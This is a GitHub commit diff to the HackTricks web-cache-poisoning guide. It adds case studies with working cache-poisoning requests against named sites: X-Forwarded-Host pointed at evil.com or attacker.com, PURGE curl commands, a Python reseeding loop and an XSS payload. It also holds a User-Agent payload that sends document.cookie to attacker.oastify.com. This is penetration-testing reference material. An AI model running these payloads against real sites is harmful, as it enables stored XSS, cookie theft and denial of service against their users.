Skip to content

Commit 6cd4c54

Browse files
authored
Merge pull request #1621 from HackTricks-wiki/update_Cache_Poisoning_Case_Studies_Part_1__Foundational__20251130_182950
Cache Poisoning Case Studies Part 1 Foundational Attacks Beh...
2 parents 519245b + 105c291 commit 6cd4c54

File tree

1 file changed

+105
-20
lines changed

1 file changed

+105
-20
lines changed

src/pentesting-web/cache-deception/README.md

Lines changed: 105 additions & 20 deletions
Original file line numberDiff line numberDiff line change
@@ -61,6 +61,108 @@ One more header related to the cache is **`Age`**. It defines the times in secon
6161

6262
When caching a request, be **careful with the headers you use** because some of them could be **used unexpectedly** as **keyed** and the **victim will need to use that same header**. Always **test** a Cache Poisoning with **different browsers** to check if it's working.
6363

64+
### Foundational cache poisoning case studies
65+
66+
#### HackerOne global redirect via `X-Forwarded-Host`
67+
68+
- The origin templated redirects and canonical URLs with `X-Forwarded-Host`, but the cache key only used the `Host` header, so a single response poisoned every visitor to `/`.
69+
- Poison with:
70+
71+
```http
72+
GET / HTTP/1.1
73+
Host: hackerone.com
74+
X-Forwarded-Host: evil.com
75+
```
76+
77+
- Immediately re-request `/` without the spoofed header; if the redirect persists you have a global host-spoofing primitive that often upgrades reflected redirects/Open Graph links into stored issues.
78+
79+
#### GitHub repository DoS via `Content-Type` + `PURGE`
80+
81+
- Anonymous traffic was keyed only on path, while the backend entered an error state when it saw an unexpected `Content-Type`. That error response was cacheable for every unauthenticated user of a repo.
82+
- GitHub also (accidentally) honored the `PURGE` verb, letting the attacker flush a healthy entry and force caches to pull the poisoned variant on demand:
83+
84+
```bash
85+
curl -H "Content-Type: invalid-value" https://github.com/user/repo
86+
curl -X PURGE https://github.com/user/repo
87+
```
88+
89+
- Always compare authenticated vs anonymous cache keys, fuzz rarely keyed headers such as `Content-Type`, and probe for exposed cache-maintenance verbs to automate re-poisoning.
90+
91+
#### Shopify cross-host persistence loops
92+
93+
- Multi-layer caches sometimes require multiple identical hits before committing a new object. Shopify reused the same cache across numerous localized hosts, so persistence meant impact on many properties.
94+
- Use short automation loops to repeatedly reseed:
95+
96+
```python
97+
import requests, time
98+
for i in range(100):
99+
requests.get("https://shop.shopify.com/endpoint",
100+
headers={"X-Forwarded-Host": "attacker.com"})
101+
time.sleep(0.1)
102+
print("attacker.com" in requests.get("https://shop.shopify.com/endpoint").text)
103+
```
104+
105+
- After a `hit` response, crawl other hosts/assets that share the same cache namespace to demonstrate cross-domain blast radius.
106+
107+
#### JS asset redirect → stored XSS chain
108+
109+
- Private programs often host shared JS such as `/assets/main.js` across dozens of subdomains. If `X-Forwarded-Host` influences redirect logic for those assets but is unkeyed, the cached response becomes a 301 to attacker JS, yielding stored XSS everywhere the asset is imported.
110+
111+
```http
112+
GET /assets/main.js HTTP/1.1
113+
Host: target.com
114+
X-Forwarded-Host: attacker.com
115+
```
116+
117+
- Map which hosts reuse the same asset path so you can prove multi-subdomain compromise.
118+
119+
#### GitLab static DoS via `X-HTTP-Method-Override`
120+
121+
- GitLab served static bundles from Google Cloud Storage, which honors `X-HTTP-Method-Override`. Overriding GET to HEAD returned a cacheable `200 OK` with `Content-Length: 0`, and the edge cache ignored the HTTP method when generating the key.
122+
123+
```http
124+
GET /static/app.js HTTP/1.1
125+
Host: gitlab.com
126+
X-HTTP-Method-Override: HEAD
127+
```
128+
129+
- A single request replaced the JS bundle with an empty body for every GET, effectively DoSing the UI. Always test method overrides (`X-HTTP-Method-Override`, `X-Method-Override`, etc.) against static assets and confirm whether the cache varies on method.
130+
131+
#### HackerOne static asset loop via `X-Forwarded-Scheme`
132+
133+
- Rails’ Rack middleware trusted `X-Forwarded-Scheme` to decide whether to enforce HTTPS. Spoofing `http` against `/static/logo.png` triggered a cacheable 301 so all users subsequently received redirects (or loops) instead of the asset:
134+
135+
```http
136+
GET /static/logo.png HTTP/1.1
137+
Host: hackerone.com
138+
X-Forwarded-Scheme: http
139+
```
140+
141+
- Combine scheme spoofing with host spoofing when possible to craft irreversible redirects for highly visible resources.
142+
143+
#### Cloudflare host-header casing mismatch
144+
145+
- Cloudflare normalized the `Host` header for cache keys but forwarded the raw casing to origins. Sending `Host: TaRgEt.CoM` triggered alternate behavior in origin routing/templating while still populating the canonical lowercase cache bucket.
146+
147+
```http
148+
GET / HTTP/1.1
149+
Host: TaRgEt.CoM
150+
```
151+
152+
- Enumerate CDN tenants by replaying mixed-case hosts (and other normalized headers) and diff the cached response versus the origin response to uncover shared-platform cache poisonings.
153+
154+
#### Red Hat Open Graph meta poisoning
155+
156+
- Injecting `X-Forwarded-Host` inside Open Graph tags turned a reflected HTML injection into a stored XSS once the CDN cached the page. Use a harmless cache buster during testing to avoid harming production users:
157+
158+
```http
159+
GET /en?dontpoisoneveryone=1 HTTP/1.1
160+
Host: www.redhat.com
161+
X-Forwarded-Host: a."?><script>alert(1)</script>
162+
```
163+
164+
- Social media scrapers consume cached Open Graph tags, so a single poisoned entry distributes the payload far beyond direct visitors.
165+
64166
## Exploiting Examples
65167

66168
### Easiest example
@@ -194,7 +296,7 @@ Practical recipe (observed across a popular CDN/WAF):
194296

195297
Example header payload (to exfiltrate non-HttpOnly cookies):
196298

197-
```
299+
```http
198300
User-Agent: Mo00ozilla/5.0</script><script>new Image().src='https://attacker.oastify.com?a='+document.cookie</script>"
199301
```
200302

@@ -208,17 +310,12 @@ Impact:
208310

209311
- If session cookies aren’t `HttpOnly`, zero-click ATO is possible by mass-exfiltrating `document.cookie` from all users who are served the poisoned HTML.
210312

211-
Defenses:
212-
213-
- Stop reflecting request headers into HTML; strictly context-encode if unavoidable. Align CDN and origin cache policies and avoid varying on untrusted headers.
214-
- Ensure WAF applies content inspection consistently to `.js` requests and static paths.
215-
- Set `HttpOnly` (and `Secure`, `SameSite`) on session cookies.
216313

217314
### Sitecore pre‑auth HTML cache poisoning (unsafe XAML Ajax reflection)
218315

219316
A Sitecore‑specific pattern enables unauthenticated writes to the HtmlCache by abusing pre‑auth XAML handlers and AjaxScriptManager reflection. When the `Sitecore.Shell.Xaml.WebControl` handler is reached, an `xmlcontrol:GlobalHeader` (derived from `Sitecore.Web.UI.WebControl`) is available and the following reflective call is allowed:
220317

221-
```
318+
```http
222319
POST /-/xaml/Sitecore.Shell.Xaml.WebControl
223320
Content-Type: application/x-www-form-urlencoded
224321
@@ -239,18 +336,6 @@ For full details (cache key construction, ItemService enumeration and a chained
239336

240337
ATS forwarded the fragment inside the URL without stripping it and generated the cache key only using the host, path and query (ignoring the fragment). So the request `/#/../?r=javascript:alert(1)` was sent to the backend as `/#/../?r=javascript:alert(1)` and the cache key didn't have the payload inside of it, only host, path and query.
241338

242-
### GitHub CP-DoS
243-
244-
Sending a bad value in the content-type header triggered a 405 cached response. The cache key contained the cookie so it was possible only to attack unauth users.
245-
246-
### GitLab + GCP CP-DoS
247-
248-
GitLab uses GCP buckets to store static content. **GCP Buckets** support the **header `x-http-method-override`**. So it was possible to send the header `x-http-method-override: HEAD` and poison the cache into returning an empty response body. It could also support the method `PURGE`.
249-
250-
### Rack Middleware (Ruby on Rails)
251-
252-
In Ruby on Rails applications, Rack middleware is often utilized. The purpose of the Rack code is to take the value of the **`x-forwarded-scheme`** header and set it as the request's scheme. When the header `x-forwarded-scheme: http` is sent, a 301 redirect to the same location occurs, potentially causing a Denial of Service (DoS) to that resource. Additionally, the application might acknowledge the `X-forwarded-host` header and redirect users to the specified host. This behavior can lead to the loading of JavaScript files from an attacker's server, posing a security risk.
253-
254339
### 403 and Storage Buckets
255340

256341
Cloudflare previously cached 403 responses. Attempting to access S3 or Azure Storage Blobs with incorrect Authorization headers would result in a 403 response that got cached. Although Cloudflare has stopped caching 403 responses, this behavior might still be present in other proxy services.
@@ -376,7 +461,6 @@ Validation checklist
376461
- Confirm the authenticated header is present on the retargeted request (e.g., in a proxy or via server-side logs) and that the CDN caches the response under the traversed path.
377462
- From a fresh context (no auth), request the same path and confirm the secret JSON is served from cache.
378463

379-
380464
## Automatic Tools
381465

382466
- [**toxicache**](https://github.com/xhzeem/toxicache): Golang scanner to find web cache poisoning vulnerabilities in a list of URLs and test multiple injection techniques.
@@ -396,6 +480,7 @@ Validation checklist
396480
- [CSPT overview by Matan Berson](https://matanber.com/blog/cspt-levels/)
397481
- [CSPT presentation by Maxence Schmitt](https://www.youtube.com/watch?v=O1ZN_OCfNzg)
398482
- [PortSwigger: Web Cache Deception](https://portswigger.net/web-security/web-cache-deception)
483+
- [Cache Poisoning Case Studies Part 1: Foundational Attacks Behind a $100K+ Vulnerability Class](https://herish.me/blog/cache-poisoning-case-studies-part-1-foundational-attacks/)
399484

400485

401486

0 commit comments

Comments
 (0)